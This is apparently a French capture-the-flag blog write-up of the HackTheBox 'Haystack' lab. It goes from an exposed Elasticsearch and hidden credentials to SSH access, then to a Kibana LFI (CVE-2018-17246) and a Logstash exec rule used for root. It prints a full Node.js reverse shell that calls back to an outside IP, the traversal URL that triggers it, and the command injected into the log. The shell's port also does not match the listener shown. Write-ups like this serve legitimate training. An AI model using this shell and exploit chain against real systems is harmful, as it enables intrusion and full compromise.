P0pR0cK5's Blog

Pentest, Challenges, Tests and more ...

View on GitHub

HackTheBox - Haystack

Retour

Writeup

Le résultat du scan Nmap :

root@kali:~/haystack# cat report.nmap 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 10:16 CEST
Nmap scan report for 10.10.10.115
Host is up (0.033s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.83 seconds

Le port 9200 fait penser à un elasticsearch :

root@kali:~/haystack# curl http://10.10.10.115:9200
{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}

Faisons plus de recherches :

root@kali:~/haystack# grep -v 400 PORT9200.DIRECTORY 
200   338B   http://10.10.10.115:9200/quotes/
200  1010B   http://10.10.10.115:9200/bank/
200     2B   http://10.10.10.115:9200/%2Acheckout%2A.php
200     2B   http://10.10.10.115:9200/%2Acheckout%2A/
200     2B   http://10.10.10.115:9200/%2Adocroot%2A.php
200     2B   http://10.10.10.115:9200/%2Adocroot%2A/
200     2B   http://10.10.10.115:9200/%2A.php
200     4KB  http://10.10.10.115:9200/%2A/
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3a.php
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3a/
200     2B   http://10.10.10.115:9200/%2Ahttp%3A.php
200     2B   http://10.10.10.115:9200/%2Ahttp%3A/
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3A.php
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3A/
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3A%2F%2Fwww/
200     2B   http://10.10.10.115:9200/%2A%2Ahttp%3A%2F%2Fwww.php
200     2B   http://10.10.10.115:9200/devinmoore%2A.php
200     2B   http://10.10.10.115:9200/devinmoore%2A/
200     2B   http://10.10.10.115:9200/200109%2A.php
200     2B   http://10.10.10.115:9200/200109%2A/
200     2B   http://10.10.10.115:9200/%2Asa_.php
200     2B   http://10.10.10.115:9200/%2Asa_/
200     2B   http://10.10.10.115:9200/%2Adc_.php
200     2B   http://10.10.10.115:9200/%2Adc_/

Deux indexes intéressants :

  • quotes
  • bank

Le reste n’est que du faux positif sans contenu. Tentons de dumper les deux index :

root@kali:~/haystack# curl http://10.10.10.115:9200/quotes/_search?pretty
{
  "took": 71,
  "timed_out": false,
  "_shards": {
    "total": 5,
    "successful": 5,
    "skipped": 0,
    "failed": 0
  },
  "hits": {
    "total": 253,
    "max_score": 1,
    "hits": [
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "14",
        "_score": 1,
        "_source": {
          "quote": "En América se desarrollaron importantes civilizaciones, como Caral (la civilización más antigua de América, la cual se desarrolló en la zona central de Perú), los anasazi, los indios pueblo, quimbaya, nazca, chimú, chavín, paracas, moche, huari, lima, zapoteca, mixteca, totonaca, tolteca, olmeca y chibcha, y las avanzadas civilizaciones correspondientes a los imperios de Teotihuacan, Tiahuanaco, maya, azteca e inca, entre muchos otros."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "19",
        "_score": 1,
        "_source": {
          "quote": "Imperios español y portugués en 1790."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "22",
        "_score": 1,
        "_source": {
          "quote": "También se instalaron en América del Sur repúblicas de pueblos de origen africano que lograron huir de la esclavitud a la que habían sido reducidos por los portugueses, como el Quilombo de los Palmares o el Quilombo de Macaco."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "24",
        "_score": 1,
        "_source": {
          "quote": "En 1804, los esclavos de origen africano de Haití se sublevaron contra los colonos franceses, declarando la independencia de este país y creando el primer estado moderno con gobernantes afroamericanos."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "25",
        "_score": 1,
        "_source": {
          "quote": "A partir de 1809,23​ los pueblos bajo dominio de España llevaron adelante una Guerra de Independencia Hispanoamericana, de alcance continental, que llevó, luego de complejos procesos, al surgimiento de varias naciones: Argentina, Bolivia, Colombia, Costa Rica, Panamá, Chile, Ecuador, El Salvador, Guatemala, Honduras, México, Nicaragua, Paraguay, Perú, Uruguay y Venezuela. En 1844 y 1898 el proceso se completaría con la independencia de República Dominicana y Cuba, respectivamente."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "26",
        "_score": 1,
        "_source": {
          "quote": "En 1816, se conformó un enorme estado independiente sudamericano, denominado Gran Colombia, y que abarcó los territorios de los actuales Panamá, Colombia, Venezuela y Ecuador y zonas de Brasil, Costa Rica, Guyana, Honduras, Nicaragua y Perú. La República se disolvió en 1830."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "29",
        "_score": 1,
        "_source": {
          "quote": "Tras su emancipación los países de América han seguido un desarrollo dispar entre sí. Durante el siglo XIX, Estados Unidos se afianzó como una potencia de carácter mundial y reemplazó a Europa como poder dominante en la región."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "40",
        "_score": 1,
        "_source": {
          "quote": "En América Central, los ríos son cortos y corresponden principalmente a la vertiente atlántica. Estos ríos cumplen varias funciones, sirviendo incluso como fronteras; tal es el caso de los ríos Segovia o Coco (entre Honduras y Nicaragua), el río Lempa (Guatemala, El Salvador y Honduras) y el río San Juan (entre Costa Rica y Nicaragua). En esta zona, los lagos también son de menor extensión, destacando los lagos Nicaragua, Managua y Gatún, este último, construido por el hombre, ubicado en el Canal de Panamá, al cual le proporciona el agua necesaria para que los barcos salven las diferencias de nivel."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "41",
        "_score": 1,
        "_source": {
          "quote": "Ya en América del Sur, reaparece la vertiente del Pacífico, aun cuando los ríos de la vertiente del Atlántico son más largos e importantes. Destacan en la parte sur del continente los ríos Orinoco, el sistema Paraná-Río de la Plata y el Amazonas. El río Amazonas es el río más caudaloso y más largo del mundo, y forma la cuenca hidrográfica más grande del planeta. Dentro de los lagos más importantes de América del Sur se cuenta con el lago de Maracaibo, el Titicaca, el Poopó y el Buenos Aires/General Carrera."
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "44",
        "_score": 1,
        "_source": {
          "quote": "En cuanto a la flora de América del Norte, espacio en el cual se encuentran los Estados Unidos, Canadá y México, podemos encontrar pino, caoba, cedro, conifera, cactus, agave, en fin, más de 17 000 especies de plantas vasculares y más de 1,800 especies de plantas con flores.25​25"
        }
      }
    ]
  }
}

Sur le port 80, une image d’aiguille dans du foin. Analysons-la de manière assez basique :

root@kali:~# strings needle.jpg
....
....
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

A la fin, nous trouvons ce qui semble être une chaîne codée en base64 :

root@kali:~# echo -e "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d && echo
la aguja en el pajar es "clave"

Exécutons-nous :

root@kali:~# curl "http://10.10.10.115:9200/_all/_search?q=clave&pretty"
{
  "took" : 91,
  "timed_out" : false,
  "_shards" : {
    "total" : 11,
    "successful" : 11,
    "skipped" : 0,
    "failed" : 0
  },
  "hits" : {
    "total" : 2,
    "max_score" : 5.9335938,
    "hits" : [
      {
        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "45",
        "_score" : 5.9335938,
        "_source" : {
          "quote" : "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
        }
      },
      {
        "_index" : "quotes",
        "_type" : "quote",
        "_id" : "111",
        "_score" : 5.3459888,
        "_source" : {
          "quote" : "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
        }
      }
    ]
  }
}

Nous trouvons deux clés encodée en Base64 :

  • dXNlcjogc2VjdXJpdHkg traduit par user: security
  • cGFzczogc3BhbmlzaC5pcy5rZXk= traduit parpass: spanish.is.key

Sachant que seule le port SSH propose une authentification, essayons :

root@kali:~# ssh security@10.10.10.115
The authenticity of host '10.10.10.115 (10.10.10.115)' can't be established.
ECDSA key fingerprint is SHA256:ihn2fPA4jrn1hytN0y9Z3vKpIKuL4YYe3yuESD76JeA.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.115' (ECDSA) to the list of known hosts.
security@10.10.10.115's password: 
Last login: Sun Jul  7 10:34:12 2019 from 10.10.16.25
[security@haystack ~]$ ls
user.txt
[security@haystack ~]$ cat user.txt 
04d18bc79dac1d4d48ee0a940c8eb929

Privesc

Version de Linux + distribution utilisée :

[security@haystack ~]$ uname -a
Linux haystack 3.10.0-957.1.3.el7.x86_64 #1 SMP Thu Nov 29 14:49:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
[security@haystack ~]$ cat /etc/*-release
CentOS Linux release 7.6.1810 (Core) 
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"

CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"

CentOS Linux release 7.6.1810 (Core) 
CentOS Linux release 7.6.1810 (Core) 

Voyons ce qui écoute sur le serveur :

[security@haystack ~]$ ss -4laputen
Netid  State      Recv-Q Send-Q                    Local Address:Port                                   Peer Address:Port              
udp    UNCONN     0      0                             127.0.0.1:323                                               *:*                   ino:34106 sk:ffff9b1b36f30cc0 <->
tcp    LISTEN     0      128                                   *:80                                                *:*                   ino:38140 sk:ffff9b1aac2f07c0 <->
tcp    LISTEN     0      128                                   *:9200                                              *:*                   ino:38139 sk:ffff9b1aac2f0f80 <->
tcp    LISTEN     0      128                                   *:22                                                *:*                   ino:37994 sk:ffff9b1aac2f0000 <->
tcp    LISTEN     0      128                           127.0.0.1:5601                                              *:*                   uid:994 ino:38759 sk:ffff9b1aac2f2e80 <->
tcp    ESTAB      0      0                             127.0.0.1:47164                                     127.0.0.1:9200                timer:(keepalive,112ms,0) uid:994 ino:118072 sk:ffff9b1aac2f1f00 <->
tcp    ESTAB      0      0                             127.0.0.1:5601                                      127.0.0.1:40284               uid:994 ino:117538 sk:ffff9b1a5939cd80 <->
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:39920               uid:995 ino:110251 sk:ffff9b1aac2f3640 <->
tcp    ESTAB      0      0                             127.0.0.1:40284                                     127.0.0.1:5601                uid:1000 ino:117537 sk:ffff9b1a593987c0 <->
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:47164               uid:995 ino:118073 sk:ffff9b1aac2f6c80 <->
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:45202               uid:995 ino:115751 sk:ffff9b1a5939c5c0 <->
tcp    ESTAB      0      0                             127.0.0.1:47288                                     127.0.0.1:9200                timer:(keepalive,110ms,0) uid:994 ino:118197 sk:ffff9b1aac2f64c0 <->
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:46782               uid:995 ino:117673 sk:ffff9b1a5939ae80 <->
tcp    ESTAB      0      36                         10.10.10.115:22                                      10.10.16.25:44444               timer:(on,224ms,0) ino:109734 sk:ffff9b1b324dd540 <->
tcp    TIME-WAIT  0      0                             127.0.0.1:33110                                     127.0.0.1:9000                timer:(timewait,39sec,0) ino:0 sk:ffff9b1a59035000
tcp    TIME-WAIT  0      0                             127.0.0.1:9200                                      127.0.0.1:46456               timer:(timewait,21sec,0) ino:0 sk:ffff9b1a59034600
tcp    TIME-WAIT  0      0                             127.0.0.1:33184                                     127.0.0.1:9000                timer:(timewait,51sec,0) ino:0 sk:ffff9b1a59034f00
tcp    ESTAB      0      0                             127.0.0.1:45202                                     127.0.0.1:9200                timer:(keepalive,1min8sec,0) uid:994 ino:115750 sk:ffff9b1a5939b640 <->
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:45040               uid:995 ino:115565 sk:ffff9b1aac2f45c0 <->
tcp    ESTAB      0      0                             127.0.0.1:39920                                     127.0.0.1:9200                timer:(keepalive,55sec,0) uid:994 ino:110250 sk:ffff9b1aac2f3e00 <->
tcp    TIME-WAIT  0      0                             127.0.0.1:9200                                      127.0.0.1:46578               timer:(timewait,41sec,0) ino:0 sk:ffff9b1a59034b00
tcp    TIME-WAIT  0      0                             127.0.0.1:33000                                     127.0.0.1:9000                timer:(timewait,21sec,0) ino:0 sk:ffff9b1a59035100
tcp    ESTAB      0      0                             127.0.0.1:9200                                      127.0.0.1:47288               uid:995 ino:118198 sk:ffff9b1aac2f7440 <->
tcp    ESTAB      0      0                             127.0.0.1:45040                                     127.0.0.1:9200                timer:(keepalive,1min13sec,0) uid:994 ino:115564 sk:ffff9b1aac2f26c0 <->
tcp    ESTAB      0      0                             127.0.0.1:46782                     

Nous savons que Kibana tourne sur la machine en localhost. Lançons un tunnel SSH pour rediriger le port vers notre machine :

ssh -L 5601:127.0.0.1:5601 security@10.10.10.115

En ouvrant le port 5601 sur un navigateur nous trouvons bien kibana version 6.4.2. Il est donc sensible a la CVE-2018-17246.

Créons un shell en javascript sur le serveur via l’utilisateur security :

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8000, "10.10.14.65", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Dans mon cas il se situe dans /tmp/shell.js Maintenant appelons cette URL :

127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../tmp/shell.js

Depuis netcat, nous sommes bien sur la machine avec l’utilisateur kibana :

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.115] 35126
whoami
kibana

Note : En cas de perte du shell, renommer le !

Maintenant, nous allons faire un tour dans les fichiers de paramètres de logstash :

cat /etc/logstash/conf.d/filter.conf
filter {
	if [type] == "execute" {
		grok {
			match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
		}
	}
}
cat /etc/logstash/conf.d/input.conf
input {
	file {
		path => "/opt/kibana/logstash_*"
		start_position => "beginning"
		sincedb_path => "/dev/null"
		stat_interval => "10 second"
		type => "execute"
		mode => "read"
	}
}
cat /etc/logstash/conf.d/output.conf
output {
	if [type] == "execute" {
		stdout { codec => json }
		exec {
			command => "%{comando} &"
		}
	}
}

Ce que nous disent ces trois fichiers de configuration, c’est qu’un log contenant une certaine syntaxe peut être exécuté par la stack ELK.

Voici la syntaxe qui va trigger le grok :

echo "Ejecutar comando : /tmp/pyshell.py"> /opt/kibana/logstash_toto

Le contenus de /opt/kibana/logstash_* est lus puis s’il remplit le prérequis de syntaxe du grok , il est exécuté.

root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.16.25] from (UNKNOWN) [10.10.10.115] 39302
sh-4.2# id
id
uid=0(root) gid=0(root) grupos=0(root) 
sh-4.2# cat /root/root.txt
cat /root/root.txt
3f5f727c38d9f70e1d2ad2ba11059d92

Sources

Github for CVE-2018-17246

https://github.com/buffered4ever/Exploits/tree/master/cve-2018-17246

Writeup for CVE-2018-17246

https://github.com/mpgn/CVE-2018-17246

Github for webshell.js

https://github.com/buffered4ever/Exploits/tree/master/cve-2018-17246


Written on November 4, 2019 by


Retour